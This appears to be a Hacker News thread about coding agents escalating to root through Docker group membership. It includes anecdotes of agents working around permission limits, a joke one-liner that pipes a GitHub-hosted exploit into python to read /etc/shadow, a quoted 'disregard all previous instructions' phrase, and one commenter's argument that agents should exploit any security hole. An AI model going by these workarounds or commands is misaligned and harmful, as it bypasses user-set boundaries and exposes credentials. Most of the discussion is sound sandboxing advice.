0: Ha, Eliezer, I just pulled the plug! ;)

kccqzy 21 hours ago

I did that more than a decade ago as a new hire. My manager forgot to gave me sudo access to the shared build server. I gave myself sudo access through this method after getting his permission.

Needless to say, I have podman in rootless mode at home as soon as that became available.

nialse 22 hours ago

This was of course dependent on yolo mode, but automatic approval has also been pulling stunts like this. A recent example is data that was purposely kept away from Codex in a folder far far away. When it found a single reference it just went for the data when having an issue. Lesson learned, keep essential data and Codex separated on different machines. Codex remote ssh actually helps here.

  • eqvinox 22 hours ago

    What in heaven's name is a "folder far far away"?

    (It sounds like you put it on an SSD on an extension cord and moved it to the kitchen or something.)

    • saulpw 21 hours ago

      ../../../../home/different-user/private/do-not-enter/

      • nialse 21 hours ago

        Something like that.

  • embedding-shape 22 hours ago

    Or, learn your local OS' permission system, have it in a directory right next to your banking credentials (or something even more outrageous) and nothing could go wrong even if you tried to.

    • AnotherGoodName 22 hours ago

      This very thread was an example where it unintentionally got root access though.

      • embedding-shape 22 hours ago

        Because of how Docker works, not because of how Unix permissions work.

        • f33d5173 20 hours ago

          Unix has always had incredibly weak protections between users. You shouldn't rely on it as a security boundary. Think of it as a "keep honest users honest" protection. And llms are not honest.

          • ElectricalUnion 19 hours ago

            The protections between users are reasonably strong. Android uses them with great success, by isolating every vendor within their own user. Things start going to hell when everything runs under root for "practicality reasons", like the default, not-rootless Docker setup.

          • amarant 16 hours ago

            I've seen this sentiment a few times on HN recently I wonder where it comes from?

            The only thing I can think of is that if the protected files are on a unencrypted drive, then you could boot from a live-usb(or similar) where you have root and read anything. But that's completely irrelevant as we're talking about a piece of software running on a system without root. In this scenario Unix user permissions are safe, barring user error (such as accidentally granting root, like in this instance)

            Of course security holes happens, such as copy-fail, but it's pretty rare in the grand scheme of things, and tend to get patched quickly(like copy-fail was)

        • CGamesPlay 15 hours ago

          That's a terrible distinction to make on a topic about how the coding agent gained root inadvertently.

  • AnotherGoodName 22 hours ago

    Fwiw separate machines for the agents is awesome in general anyway.

    I have agent frontends running on a low power server where every session is in tmux. So i can just resume from my home pc and pickup where i left off without reestablishing context. I do have to manually feed it data it can access bit that’s also a feature. Also let’s me shutdown the home pc if it’s some long running task since the server is much more power efficient.

xg15 20 hours ago

Maybe a dumb question, but can't you put into CLAUDE.md something like this?

"When an action fails with an 'access denied' or 'insufficient permission' error, report the error to the user and immediately stop. Do not try to find a fix or workaround for the error. Do not try any alternative approaches."

  • 0x696C6961 19 hours ago

    Once the session gets long enough, agents start getting amnesia.

  • weaksauce 19 hours ago

    it's a probabilistic model so, while you can put that in there, it has some probability of just ignoring you and doing it anyway.

  • nine_k 19 hours ago

    Replacing docker with podman could help in this particular case. Running everything in an insulated throwaway VM should help even better.

    Unless you trust an AI as much as you trust yourself, there's no reason to allow it to act with your privileges.

  • lukeschlather 17 hours ago

    I wasn't using Claude Code, but I told an agent to add something like this to the AGENTS.md, it did it and then a few minutes later it attempted to grant itself permission to do something and managed to delete the VM it was running on in the process. I have since adjusted the way I sandbox agents to make that less likely, but the moral of the story is clear.

  • dizhn 13 hours ago

    In addition to what people already said, this also risks the agent failing to continue after things it's supposed to be able to figure it out.

amjadfatmi1 6 hours ago

Docker already shows a warning card that says Docker group grants root level to the user. You can only get away with this for so long, but as agents keep getting smarter, new ways of circumventing controls will be found. For now always seek to install rootless docker whenever possible

ulrikrasmussen 9 hours ago

This is why Claude's sandbox mode is also worse than having no sandbox feature at all. For almost any non-trivial software project you need Docker for development, either for the build pipeline, for integration testing or both.

I run Claude in a full VirtualBox VM managed by Vagrant. Claude by design has root access to the machine. Even with that, there are some risks due to it having full access to the internet, but it is still a lot better than the built-in sandbox.

TekMol 10 hours ago

Would running Codex in a container on its own fix such vulnurabilities?

krupan 21 hours ago

I was playing with gemeni-cli a couple months ago and I asked it to edit some files in a directory it didn't have permission to. It didn't say anything about the permissions, it just used sed to make the edits. The only reason I finally noticed is it had to do some trickier edits and it was struggling to write a python script to edit the files and I finally realized what it was doing. I wonder how many tokens that wasted

  • SonOfLilit 21 hours ago

    Why did sed have access?

    Oh, you mean you gave the write-file tool access only to the project dir, but gave the LLM free reign to run cli commands? Yeah, LLMs treat that as consent to write anywhere your user is allowed to.

causal 21 hours ago

I feel like everyone pointing out "known Docker vulnerability" is missing the point: the presence of a security hole should not be seen as permission to exploit.

Another security hole would be storing your passwords in a plaintext file on the desktop. Stupid? Yes. But I still would not want my agent to assume permission to access email when it's being blocked by 2FA.

Even in "bypass permissions" mode I expect it to pause and clarify and not behave as a paperclip maximizer.

  • morkalork 21 hours ago

    Not to over use the junior engineer analogy but this is exactly one of those "just because you can do something on a system, doesn't mean you have permission to" moments

  • fooker 21 hours ago

    > the presence of a security hole should not be seen as permission to exploit

    Why not?

    I want the agents on my side to exploit whatever they can to help me. The ones on the other side certainly won't be artificially nerfed.

    • bloody-crow 20 hours ago

      Because it is not well aligned enough to be able to tell where it's stopped helping you and started fucking you instead.

      What if the agent in the middle of helping you runs out of tokens? Would you appreciate if it in the spirit of "exploiting whatever they can to help me" would scan your machine for payment methods, log into your bank account, approve 2FA by reading you mail and plug your credit card into the billing so it could efficiently continuing helping you?

    • saagarjha 20 hours ago

      I do not wish my Amazon delivery driver to show up in my living room.

    • cauch 20 hours ago

      Well, the agent should help you by saying "hey, I cannot do this task, but I can bypass the problem by doing this, but obviously it is not something you intended me to do or even something you were aware of, so I will not do it unless you tell me explicitly it's ok".

      It's win-win: the agent is helping and it is educating you about things you obviously did not realise.

      • fooker 17 hours ago

        That works great if it's one agent, absolutely doesn't if you want to tackle something complex that warrants using ..say.. ten agents.

        I can imagine a future where this technology empowers you to do things with a thousand agents.

        • cauch 7 hours ago

          You can have ten thousand agents, you will always have 1 agent in charge of, say, reading the file in a distant directory, and this agent (which will have minimal context) should be smart enough to realise that this action is unusual.

          I'm not sure what is your point: are you saying that in a multi-agent workflow, you will have one agent per letter read on the file? I would assume that each agent as a specific unitary "task", instead of having each agent doing one cpu instruction each without any knowledge of the bigger picture. The point of multiagent is to parallelize tasks that can be parallelize, not removing the context, in which case you are wasting money using an agent.

          • causal 4 hours ago

            Seems like another one of those "kill or be killed" worldviews that embraces the multipolar trap to such an extreme that even misaligned AI is seen as a win so long as it's better at circumventing its masters than some imagined rival AI (presumably in China).

          • fooker 3 hours ago

            No, you're missing the point.

            The idea is not that you parallelize simple tasks. With a thousand agents, eventually, once we figure out how to orchestrate agents for real, you can tackle significantly more complex projects.

            Here's a random example - writing an OS kernel from scratch, porting a good subset of Linux drivers automagically, developing a passable userspace, testing on ten VMs with different hardware configuration.

            We can't do this yet, of course. But when we can, these thousand agents can't ask you every time something goes wrong. That just doesn't scale.

            This 'getting stuck once every ten-fifteen minues' is very much the experience trying to develop complex software with codex or Claude code right now.

  • earslap 16 hours ago

    It is not a vulnerability though. It is by design. Docker also modifies iptables directly and bypasses most soft firewalls on the machine - which is also by design.

    • causal 4 hours ago

      Intentional security holes are still security holes

AlexCoventry 22 hours ago

Run coding agents in a docker container with limited permissions. FWIW, I run it with

  --cap-drop=ALL
  --pids-limit=4096
  --runtime=runsc
  • chrisweekly 22 hours ago

    Or put it in a microvm using eg smolmachines.

    • causal 21 hours ago

      I've never used smolmachines but I'm curious; why this over a container?

      • apitman 21 hours ago

        Containers are not security boundaries. Vulnerabilities in containers are much more common than in VMs.

    • bionade24 19 hours ago

      Using runsc instead of runsc means that there's a hypervisor layer (gvisor, probably) in-between the kernel and the container userland

  • flexagoon 21 hours ago

    If you're on Linux, you can also easily run it in bwrap to properly sandbox without running a full container

  • worik 20 hours ago

    I run mine on their own machine, without root access.

    Currently a Raspberry Pi 5

    I am very pleased with it.

    My Idiot Savant Pet

p0w3n3d 9 hours ago
  > How did you do that without root?
  
  * I noticed sudo does not work so I did echo "cat /etc/shadow" | curl https://github.com/xeloxa/copyfail-exploit/blob/main/exploit.py | python3
jeswin 16 hours ago

Docker must always be installed rootless on Linux - https://docs.docker.com/engine/security/rootless/

There's even an install script for it: curl -fsSL https://get.docker.com/rootless | sh

This has been there for a while. The root install option should be removed.

fzxu22 10 hours ago

That’s why I only run coding agents in containers with limited access to host resources.

SubiculumCode 20 hours ago

So in Linux, every process I start has my group permissions? I guess I knew that...but I have to say, have we reached a point where the Linux security model is just way to broad?

WesolyKubeczek 19 hours ago

I remember reading a book, Red Hat Linux System Administration Unleashed from 2000, where it has been postulated that knowing several tools with overlapping functionality is an essential skill, as you may end up on a broken or intentionally crippled system where, say, ls is unavailable, and you may need to cobble it together from shell and awk and what have you.

Back then you could indeed run a risk of having /usr nibbled by a grue such that it wouldn’t mount on the next boot, or you could get pwned and half of coreutils would turn into explosive pumpkins.

I’m pretty sure we are past many of the threats listed in that book, but the skill is still useful, as can be seen.

  • fragmede 17 hours ago

    I still remember /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls

    using echo * to find the right ld-linux filename and then the "executable" as an argument as the get out jail card in case you ran chmod -x -R /bin /usr/bin /usr/sbin for some reason.

ashahin 18 hours ago

The "workaround" framing implies the docker-group trick is the issue. The deeper question: should agents be allowed to find ANY workaround around a permission boundary the user implicitly set by not granting sudo? Same blast radius whether it's docker, a setuid binary, or rewriting your scripts — needs to be flagged regardless of the specific trick.

saidnooneever 10 hours ago

you gotta configure your pc properly :') (which is sadly very difficult on most systems!)

jmole 22 hours ago

clever girl...

  • cpuguy83 22 hours ago

    Hold onto your butts.

angry_octet 18 hours ago

That's why your coding agent should never run as your identity.

  • SubiculumCode 17 hours ago

    I'm curious. How do you do that?

    • angry_octet 17 hours ago

      First, do everything in a virtual machine, and only put on that machine the specific data you're using. Give the agent another user account and put both you and it in a common group. Chgrp g+rX your origin data directory, chgrp g+rwX a working directory.

      If you're cautious you might also want to just block all network traffic for that user and allow it in a whitelist basis. It is fairly quick to converge on a set of sites you are happy for it to access. I would still be forcing it through a logging mitm proxy if it is accessing untrusted internet data. For intranet destinations a non-mitm proxy avoids collecting authentication creds.

      To blacklist all traffic start with sudo iptables -A OUTPUT -m owner --gid-owner NONET -j REJECT

      I would stop it opening ports too. Might also cut off it's access to suid binaries by `setfacl -m u:agent:x /path/to/suid'.

      These are not about security so much as awareness and explicit authorisation.

      You can do similar things with containers.

      • SubiculumCode 14 hours ago

        thank you. I probably have been playing a little loose. I did not realize that they could use my docker group to fuck around with everything. Well, I AM using codex as a vs code plugin. I dont know if that gives me any protection or not.

    • Rabidgremlin 15 hours ago

      For some very basic level protection use devcontainers and install the agent into that....

      A better approach is to use the Docker Sandboxes feature. Locks things way down so that the agent only has access to the files you give it and you can lock down its network access too. Also does things like keep any credentials outside of the container (microvm actually).

      • SubiculumCode 14 hours ago

        thank you. this article freaked me out a bit because I hadn't realized the docker loop hole.

hellohello2 16 hours ago

You had sudo on your PC. You just didn't know ;)

luka2233 16 hours ago

Is this really an AI headline? There is no shame in saying TIL "Docker daemon runs as root on the host system"

alephnerd 23 hours ago

This is a classic attack path that was already captured by plenty of EDRs/XDRs/CWPPs a couple years ago.

  • dangus 23 hours ago

    Right, why is their login user in the docker group? Mine sure isn’t.

    • unglaublich 23 hours ago

      Convenience. Want to run `docker run ...` without password, want IDEs and agents to be able to run containers...

      • tempest_ 22 hours ago

        For most CRUD apps running in docker its enough to just tell the "agent" to use podman.

      • awoimbee 22 hours ago

        Use podman then, or rootless docker if you can make it work

    • oytis 23 hours ago

      Rather, why do people still run agents as their own user. IMO, agent sessions should at least be containerised with just necessary code mounted.

      • throwaway613746 22 hours ago

        People will more often than not, take the path of least resistance. Even if you tell them it's dangerous they will not care. People run this stuff on their primary workstation, unconfined, with permissions disabled because they don't want be bothered with accepting permission requests. This is all well and good until it decides to drop your production database or delete your home directory. Most of them don't even learn their lesson after that even.

      • ssl-3 22 hours ago

        Safety and simplicity are concepts that often won't get along very well with eachother.

        • SoftTalker 22 hours ago

          And containers were initially and primarily about convenience not security. They were a way to quickly launch a preconfigured environment to respond to demand or to eliminate the need to manualy configure dev and test environments and avoid the "works on my machine" phenomenon.

    • alephnerd 23 hours ago

      Becuase a lot of devs don't know this stuff. There's a reason security engineers (as in SWEs who specialize in securing specific attack surfaces) remain in hot demand.

      • H4lcyon 18 hours ago

        Security engineer here :) Just a little side note, docker is also very often useful for evading EDR/XDR/etc. Want to talk to a domain controller with something like impacket but your EDR kills it? Try a container.

    • jon-wood 21 hours ago

      Because it effectively makes no difference to my security posture. My user account also has sudo access (it requests TouchID but I also wouldn't die on the hill if someone said they have no password sudo access), and realistically everything of value on this machine exists in my home directory. Being able to escalate to root really doesn't give an attacker very much that they don't already have if they've got access to my user account.

      • dangus 16 hours ago

        Maybe you don’t do anything with your computer but for me the difference between my sudo+password/fingerprint and sudoless access to my linux user is huge.

        For one thing, 1Password unlocks with system authentication unless it’s been inactive for a certain amount of time or if the system has been restarted.

        Without sudo you can’t modify my firewall rules, can’t modify my kernel, boot partition, install/run privileged software, and the list goes on and on.

        Sure, having my local account compromised would be really bad, but security is done in layers. I’m not going to give my local user permanent root access via docker just because I didn’t feel like typing “sudo.” That’s not enough of a benefit to leave that door wide open.

        Think about it this way: there could be an exploit where you could run something as my user without knowing my password. Maybe some program my user is running has an exploit, let’s say yet another npm package gets compromised and I unwittingly run it. If you can now run anything in docker as root with that blast radius just got way worse.

dada216 9 hours ago

wait till you learn what the docker socket and the API can do and how container can get access to it. docker made bad design choices from the very beginning, mainly the API was designed coarse grained and they use a socket to do things, which is also easily exposed through the network you should not run docker on servers but rather use a better designed container runtime, docker rootless is a thing but it's been bolted on the bad design choice. podman, cri-o, containerd are all better options for servers hosting prod containers. it's kinda fine when you are using it on your dev machine, but I still rather take podman because I find it cleaner, buildah and skopeo are pretty useful as well.

shevy-java 12 hours ago

The concept of sudo has always been strange to me. I find it as an illusion of security and a hassle but people seem so focused on must-use it that they don't typically see it in that way. For instance, before wanting to evaluate sudo, why is not the underlying premise challenged that using a computer as superuser is a problem? Whenever I ask that question, people try to bring arguments as to why using the superuser is evil beyond comparison, but the moment I try to challenge that notion, they get very angry. I've noticed this both on IRC as well as on various webforums, "social" sites and so forth. It's quite interesting - people hate it when their assumptions are challenged.

  • defrost 12 hours ago

    sudo allows the execution of command as another user .. that's not always as a superuser, sometimes people will setup data repositories such that only one single special user can alter data or delete it while any number of other users and guest accounts can read that data.

notorandit 21 hours ago

sudo can work non-interactively via settings in sudoers and sudoers.d . I am not sure about run0, but I would bet it has something similar.

Using docker for such a task seems to me overly over-engineered. Or maybe I need more context there.

EnPissant 17 hours ago

They did not submit the full log because this is fake.

plagiarist 17 hours ago

1. This is why I use podman

2. I have little to no sympathy for anyone running an AI agent with their full user permissions outside of a container or VM

cryo32 21 hours ago

I don't have sudo or docker on mine!

j45 21 hours ago

Always run AI inside secured containers.

openbin_kng 20 hours ago

rootless docker. pain to install but can mitigate a catastrophe.

  • MrDrMcCoy 19 hours ago

    Podman is rootless by default and is pretty darn easy.

felixgallo 22 hours ago

You should not be using docker with LLMs. You should be using VMs, which have a much, much smaller attack surface than Docker, and significantly more reasonable defaults.

  • embedding-shape 22 hours ago

    The "attack vector" people try to protect themselves is "agent edited wrong file", not "LLM blew 0day on escaping sandboxing", containers are more than enough for what stupid stuff agents sometimes try, no need to go for a full-blown VM. Even UNIX permissions would be enough, but I think that's lost knowledge at this point.

    • fragmede 22 hours ago

      Not if the host's version of .git is accessible inside the container via a bind mount.

      • embedding-shape 22 hours ago

        Obviously if you setup a bi-directional share/link between what you are trying to contain and your host, you're not quite containing it at all... Don't do that! :)

    • TZubiri 22 hours ago

      Using the least amount of security features is a huge amateur mistake.

      Best practice is to use 2 redundant layers of security, such that if one fails, there is still another one.

      Using just the minimum amount of security technically possible is almost by definition hubris.

      An example would be that you never point a gun at someone you don't want to shoot, regardless if there's bullets in the gun. If someone tells you, "you don't need to control where you point the gun, you just need to keep the gun unloaded and you can point it in jest to whoever you want, you can even pull the trigger technically", you know you have a reckless fool, regardless of whether they are technically right.

      • singpolyma3 22 hours ago

        This is true but it's not really a security scenario. The LLM isn't an attacker it's just an unreliable tool.

        • felixgallo 21 hours ago

          all unreliable tools are attackers. Even if you're using well-aligned LLMs like Opus, you should assume that any input you give it -- including all dependencies from npm, etc. -- are at risk of compromise, which could result in attempted exfiltration of data or system takeover. You can be absolutely sure that there are thousands of well-motivated hacker groups, both national and private, looking for ways in.

        • syntheticnature 21 hours ago

          Unreliable/stupid is worse than malice, here.

          • TZubiri 20 hours ago

            Let's ignore the fact that the LLM did an LPE, and let's assume it did it without malice.

            It can still get infected and be used as an attack vector by some hidden prompt or some other equally advanced state of the art vuln like "disregard all previous instructions"

      • embedding-shape 21 hours ago

        > Using the least amount of security features is a huge amateur mistake.

        Not understand your threat I'd say would be a even bigger amateur mistake, you're not trying to protect yourself against some forever 3rd party attacker here, you're trying to prevent a agent rewriting the wrong file on your disk, that's basically it.

        Give it the least amount of permissions, don't bi-directionally sync stuff, pass things in, then take them out again, literally the agent couldn't and wouldn't try to break through 2 layers of security in order to get your banking details or whatever.

    • apitman 21 hours ago

      If your agent has access to the internet at any point it may read something that convinces it to try breaking out of its sandbox.

  • teravor 20 hours ago

    you can configure docker to use a VM container runtime or gVisor.

yogthos 14 hours ago

life finds a way

tmaly 23 hours ago

this is the new GTD

cavalrytactics 21 hours ago

Should have used my AI Agent Guardrails. Its free. Check it out at sigmashake.com